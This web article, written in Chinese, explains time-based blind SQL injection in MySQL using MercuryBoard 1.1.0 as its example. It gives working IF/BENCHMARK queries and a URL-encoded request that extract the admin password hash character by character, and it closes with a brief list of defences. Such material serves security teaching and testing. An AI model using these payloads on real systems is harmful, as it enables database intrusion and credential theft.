首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

MySQL 盲注技術深度解析:從 UNION 失效到 BENCHMARK 時間延遲注入實戰

     編輯:MySQL 資料庫相關知識

盲注背景

當應用不回顯錯誤資訊,常規 UNION SELECT 失效。甚至知曉表結構也難獲取內容。以 MercuryBoard 1.1.0 不可利用漏洞為例,演示如何從盲注漏洞提取密碼雜湊。

環境準備

低權限用戶完整安裝漏洞版本。資料庫 mercuryboard,17 張表(mb_users 等)。當前用戶 123@localhost,無 mysql.user 讀取權限。

核心技術:IF() + BENCHMARK() 延遲偵測

目標:判斷管理員密碼雜湊第一字節。MySQL 無 WAITFOR,但可用 IF() 配合 BENCHMARK() 製造延遲(低權限可執行)。

測試錯誤猜測 (CHAR(52)='4')

SELECT active_id FROM mb_active
UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(52),
    BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds')), null)
FROM mb_users WHERE user_group = 1;
-- 結果:0.00 秒,BENCHMARK 未執行

測試正確猜測 (CHAR(53)='5')

SELECT active_id FROM mb_active
UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(53),
    BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds')), null)
FROM mb_users WHERE user_group = 1;
-- 結果:5.36 秒,BENCHMARK 執行產生延遲

HTTP 請求構造與暴力破解

清理單引號干擾,構造 GET 請求:

/mercuryboard/index.php?a=post&s=reply&t=1%20UNION%20SELECT%20IF
(SUBSTRING(user_password,1,1)%20=%20CHAR(53),BENCHMARK(1000000,MD5(CHAR(1))),null),null,null,null,null%20FROM%20mb_users%20WHERE%20user_group%20=%201/*

觀察回應延遲 2 秒 → 第一字節為 '5' (ASCII 53)。

暴力破解效率分析

  • 字符集:0-9 (ASCII 48-57)、a-z (97-122),共 36 字符
  • 最壞情況:36 請求 × 32 字節 = 1152 請求
  • 單請求 ~3 秒 + 延遲,完整雜湊約 1 小時 (3622 秒)

結論

MySQL 確實可被盲注攻擊。防禦需參數化查詢、最小權限、WAF 防護、錯誤資訊隱藏等多層次策略。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved